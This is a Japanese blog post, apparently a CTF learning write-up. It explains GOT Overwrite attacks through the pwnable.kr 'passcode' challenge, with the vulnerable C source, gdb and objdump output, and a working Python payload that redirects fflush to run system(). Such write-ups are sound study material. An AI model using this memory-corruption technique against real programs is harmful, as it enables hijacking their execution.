GOT Overwrite攻撃について
この記事はIS17erアドベントカレンダー15日目の記事としてあとから書かれたものです。
最近個人的にCTFにハマっていて、このGOT Overwrite攻撃は、けっこう初級レベルらしいのですが、全然知らなかったので、勉強用にまとめてみます。
GOT Overwrite攻撃とは
GOTとは、Global Offset Tableのことで、ライブラリ関数を呼び出すときに参照するテーブルを指します。
実行ファイルがライブラリと動的リンクされていて、ライブラリの関数アドレスを保存している領域がReadOnlyでない場合、GOT Overwrite攻撃が有効となります。書式文字列攻撃などでライブラリ関数のアドレスを、実行したいアセンブリのアドレスに書き換えることで、ライブラリ関数の実行を任意の挙動に置き換えることができます。
問題
pwnable.krのpasscodeという初級の問題です。
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
このcファイルをコンパイルしてできる実行ファイルに適切なインプットを与えると、フラグがとれます。
考え方
上記のプログラムのミスは
scanf("%d", passcode1);
scanf("%d", passcode2);
となっている点にあります。passcode1の値をアドレスとする箇所にscanfで値を自由に格納することができます。
passcode1==338150 && passcode2==13371337
とあるので、この値を合わせにいこうかと考えるところですが、今回はGOT Overwriteによってpwnするので、これは使いません(なんか使う解法もあると思うんだけどなあ)。
passcode1の初期値をnameに対してのscanf時に、fflush関数を指しているGOTのアドレスにします。passcode1の値をアドレスとする箇所には、system("/bin/cat flag")
のアセンブリ命令のアドレスを置きます。
こうすると、fflushが呼び出されるときに、system("/bin/cat flag")
が実行されます。
passcode1の初期値ですが、以下のようにgdbを使うと、インプットの97~99byte目が入っていることがわかります(一応gdb disasして、ベースポインタからの相対位置を見ることでも確かめられます)。
(gdb) b *0x0804857f
Breakpoint 1 at 0x804857f
(gdb) r
Starting program: /home/passcode/passcode
Toddler's Secure Login System 1.0 beta.
enter you name : 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
Welcome 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789!
Breakpoint 1, 0x0804857f in login ()
(gdb) i r
eax 0x8048783 134514563
ecx 0x0 0
edx 0x39383736 959985462 // "9876"が入っている
ebx 0x0 0
esp 0xffc9cbe0 0xffc9cbe0
ebp 0xffc9cc08 0xffc9cc08
esi 0xf7758000 -143294464
edi 0xf7758000 -143294464
eip 0x804857f 0x804857f <login+27>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
さて、fflushを指しているGOTのアドレスは
passcode@ubuntu:~$ objdump -R passcode
passcode: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
から、0x0804a004だとわかります。
また、system("/bin/cat flag")
のアドレスはgdbでdisasすると
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 <system@plt>
から、0x080485eaであることがわかります。ジャンプ先は、この一つ前の0x080485e3(134514147)に指定します。
passcode@ubuntu:~$ python -c "print '0'*96+'\x04\xa0\x04\x08'+'134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
参考
http://atodekaerukamo.blogspot.jp/2017/09/pwnable-5-passcodewriteup.html
セキュリティコンテストチャンレンジブック